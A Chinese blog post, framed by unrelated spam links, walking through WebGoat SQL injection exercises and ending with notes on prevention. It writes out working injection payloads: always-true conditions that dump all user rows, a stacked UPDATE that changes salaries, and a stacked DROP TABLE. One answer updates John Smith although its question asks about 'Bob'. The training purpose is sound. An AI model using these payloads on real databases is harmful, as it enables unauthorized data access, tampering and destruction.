当前位置: 首页 > news >正文

建站官网西安网站设计哪家公司好

建站官网,西安网站设计哪家公司好,软文网站大全,传媒公司做网站编辑_如何?目录 引言 一、安装好JAVA 二、下载并运行WebGoat 三、注册并登录WebGoat 四、模拟攻击 1. 第九题 2. 第十题 3. 第十一题 4. 第十二题 5. 第十三题 五、思考体会 1. 举例说明SQL 注入攻击发生的原因。 2. 从信息的CIA 三要素(机密性、完整性、可用性&…

目录

引言

一、安装好JAVA

二、下载并运行WebGoat

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

2. 第十题

3. 第十一题

4. 第十二题

5. 第十三题

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

(2)完整性

(3)可用性

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

6. 怎样预防和避免SQL 注入攻击。


引言

熟悉WebGoat平台,在该平台上实现SQL注入攻击。

(1)下载webgoat-server-8.2.2.jar。

(2)搭建java环境。

(3)运行webgoat。

(4)实施SQL注入攻击。

一、安装好JAVA

二、下载并运行WebGoat

本文置顶免费下载,解压即可。

三、注册并登录WebGoat

四、模拟攻击

1. 第九题

原SQL语句

"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = ' " + lastName + " ' ";

填入如下:

SELECT * FROM user_data WHERE first_name = 'John' AND last_name =  'Smith'  or '1'='1' ;

成功查到所有用户的信息。

2. 第十题

原SQL语句

"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;

输入:

SQL语句变为:

SELECT * FROM user_data WHERE login_count = 1 AND userid = '1' or '1' = '1' ;

成功查到所有用户的信息。

3. 第十一题

原SQL语句:

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

填入:

SQL语句变为:

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ' or'1'='1 ';

成功查到用户信息:

4. 第十二题

原SQL语句:

"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";

填入:

Employee Name:小煊

Authentication TAN: '; update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith

(在一个查询语句中注入一个修改语句,从而破坏数据库中的数据,从而破坏了完整性。)

SQL语句变为:

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ';update employees set salary =1000000 where first_name = 'John' and last_name = 'Smith    ' ;

成功查到并插入用户信息:

5. 第十三题

原SQL语句如下:

"SELECT * FROM user_data WHERE login_count ='"+variable+"'";

填入:

SQL语句变为:

SELECT * FROM user_data WHERE login_count ='  '; drop table access_log; --  ';

(通过--注释把后面的’注释掉,成功将数据库的资源删除)

五、思考体会

1. 举例说明SQL 注入攻击发生的原因。

假设有一个简单的用户登录功能,用户输入用户名和密码,然后将其传递给数据库执行查询以验证登录信息。

String username = request.getParameter("username");String password = request.getParameter("password");String SQL = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";

在上述代码中,使用用户输入的数据直接拼接成SQL查询语句。然而,当用户在用户名或密码中输入恶意字符,就可能导致SQL注入攻击的发生。

例如,用户输入的密码为' OR '1'='1,那么最终构造的SQL查询语句为:

SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'

这个查询会返回所有用户,而不仅仅是匹配用户名和密码的用户,因为'1'='1'始终为真。这样,攻击者就可以绕过身份验证,并获得未授权的访问权限。

当我们访问动态网页时, Web 服务器会向数据访问层发起SQL查询请求,如果权限验证通过就会执行SQL语句。 这种网站内部直接发送的SQL请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造SQL语句,如果用户输入的数据被构造成恶意SQL代码,Web 应用又未对动态构造的SQL语句使用的参数进行审查,则会带来意想不到的危险。

2. 从信息的CIA 三要素(机密性、完整性、可用性)出发,举例说明SQL 注入攻击造成的破坏。

(1)机密性

机密性是指保证信息不被非授权访问,即 使非授权用户得到信息也无法知晓信息内容,因而不能使用。SQL注入攻击可能导致数据库中的敏感信息泄露,例如用户账号、密码、个人资料等。攻击者可以通过构造恶意的SQL语句,绕过正常的身份验证和授权机制,获取到未经授权的数据。

如通过拼接字符串,使得SQL语句中有条件永远为真,不需要判断其他条件

这样输入之后可以看到数据库里全部人的信息。

(2)完整性

完整性是指维护信息的一致性,即信息在生成、传输、存储和使用过程中不应该发生人为或非人为的非授权篡改。信息的完整性包括两个方面:

数据完整性:数据没有被(未授权)篡改或者损坏;

系统完整性:系统未被非法操纵,按既定的目标运行。

攻击者可以利用SQL注入对数据库中的数据进行篡改,包括插入虚假数据、修改现有数据甚至删除数据。这可能导致系统中存储的数据被损坏或篡改,影响业务流程的正常运作。

如上面写的第十二题,在SQL语句执行的时候更改了其他数据,破坏了数据完整性。

(3)可用性

可用性是指保障信息资源随时可提供服务的能力特性,即授权用户可根据需要可以随时访问所需信息。可用性是信息资源服务功能和性能可靠性的度量,涉及到物理、网络、系统、数据、应用和用户等多方面的因素,是对信息网络总体可靠性的要求。

SQL注入攻击还可能导致数据库系统的服务不可用,包括数据库服务器崩溃、拒绝服务等情况。攻击者可以通过发送恶意的SQL查询或指令,消耗数据库系统的资源,导致其无法正常响应合法用户的请求,从而影响系统的可用性。

如上面写的第十三题,通过--注释把后面的’注释掉,成功将数据库的资源删除。

3. 通过表单输入用户名来查询特定用户信息,写出获得表格中所有用户信息的SQL语句。

SELECT * FROM user_data WHERE first_name = 'John' AND last_name =  ' Smith'  or '1'='1 ' ;

4. 如果想修改“Bob”用户的salary为$100,应该写怎样的SQL语句?

SELECT * FROM employees WHERE last_name = '小煊' AND auth_tan = ' ';update employees set salary = 100 where first_name = 'John' and last_name = 'Smith    ';

5. 如果想破坏employees的可用性,应该写怎样的SQL语句?

SELECT * FROM user_data WHERE login_count ='  '; drop table access_log; --  ';

6. 怎样预防和避免SQL 注入攻击。

(1)严格限制 Web 应用的数据库的操作权限,给连接数据库的用户提供满足需要的最低权限,最大限度的减少注入攻击对数据库的危害;

(2)校验参数的数据格式是否合法(可以使用正则或特殊字符的判断),对进入数据库的特殊字符进行转义处理,或编码转换。

(3)预编译 SQL(Java 中使用 PreparedStatement对特殊符号进行转义处理),参数化查询方式,避免 SQL 拼接,发布前,利用工具进行 SQL 注入检测

http://www.yayakq.cn/news/816861/

相关文章:

  • 网站如何做关键词seowordpress 增强编辑器
  • 笔记本做网站服务器移动端ui设计
  • 青岛建手机网站公司.我爱你 域名网站
  • 香河住房和建设局网站wordpress模板学校
  • 虚拟资源站码支付wordpress网站图片尺寸
  • 什么做电子书下载网站如何做网站 写代码
  • 传媒公司网站设计wordpress播放器
  • 秦皇岛网站制作专家教您简单建站最新网游排行榜2023
  • 那些行业做网站优化的比较多修改wordpress文章发布页
  • 黑龙江建设厅网站 孙宇wordpress保存502
  • 购物网站建设ppt手机淘宝客网站怎么做的
  • 购物网站 备案郭仓镇做网站
  • wordpress 前台会员昆明官网seo诊断
  • 海阳做网站飞鸟加速器
  • 厦门网站营销百度平台
  • 网站空间ip能做视频的软件有哪些
  • 赣州网站建设价格传奇来了网页版
  • 求网站建设和网页设计的电子书张家界优秀网站建设
  • 怎么查询建设通网站图怪兽作图神器下载
  • 网站开发用到哪些技术郑州航空港建设局网站
  • 网站浏览器不兼容怎么办优化网站具体如何做
  • 网站改版做301东莞做企业营销型网站的公司
  • 企业网站建设飞沐织梦做响应式网站
  • 推荐常州网站建设公司如何选择大良网站建设
  • 东莞网站制作培训多少钱网站的毕业设计怎么做
  • 建站公司海报制作
  • 如何把自己做的网站放到网上阿里巴巴网站建设的功能定位
  • 学校多语言网站建设郑州教育信息网
  • 企业网站策划书ppt融资计划书
  • 惠州公司网站建设下载app到手机